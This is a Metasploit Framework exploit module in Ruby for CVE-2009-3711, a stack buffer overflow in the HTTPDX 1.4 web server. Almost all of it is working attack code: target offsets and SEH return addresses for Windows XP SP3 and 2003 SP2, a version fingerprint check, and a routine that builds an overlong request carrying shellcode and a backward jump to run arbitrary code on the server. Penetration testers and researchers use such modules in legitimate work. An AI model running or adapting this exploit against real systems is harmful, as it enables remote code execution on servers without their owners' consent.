##
# $Id: httpdx_handlepeer.rb 9934 2010-07-26 23:22:42Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# httpdx_handlepeer.rb
#
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms
# - HTTPDX 1.4 on Microsoft Windows XP SP3
#
# This vulnerability was found by Pankaj Kohli, see references.
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
},
'Author' =>
[
'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
'jduck'
],
'Version' => '$Revision: 9934 $',
'References' =>
[
[ 'OSVDB', '58714' ],
[ 'CVE', '2009-3711' ],
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 472,
# other characters get mangled, but only in a temporary buffer
'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
'StackAdjustment' => -3500,
# 'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
[ 'httpdx 1.4 - Windows XP SP3 English',
{
'Offset' => 476,
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
}
],
[ 'httpdx 1.4 - Windows 2003 SP2 English',
{
'Offset' => 472,
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 08 2009'
))
end
def check
info = http_fingerprint # check method
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
uri = payload.encoded
if target['Offset'] > payload_space
pad = target['Offset'] - payload_space
uri << rand_text(pad)
end
uri << generate_seh_record(target.ret)
# jmp back to shellcode
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
# extra causing hitting end of the stack
uri << rand_text_alphanumeric(1024)
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
sploit = '/' + rand_text(3) + '=' + uri
# an empty host header gives us 512 bytes in the client structure
# (the client->filereq and client->host buffers are adjacement in memory)
datastore['VHOST'] = ''
print_status("Trying target #{target.name}...")
res = send_request_raw(
{
'uri' => sploit
}, 5)
handler
end
end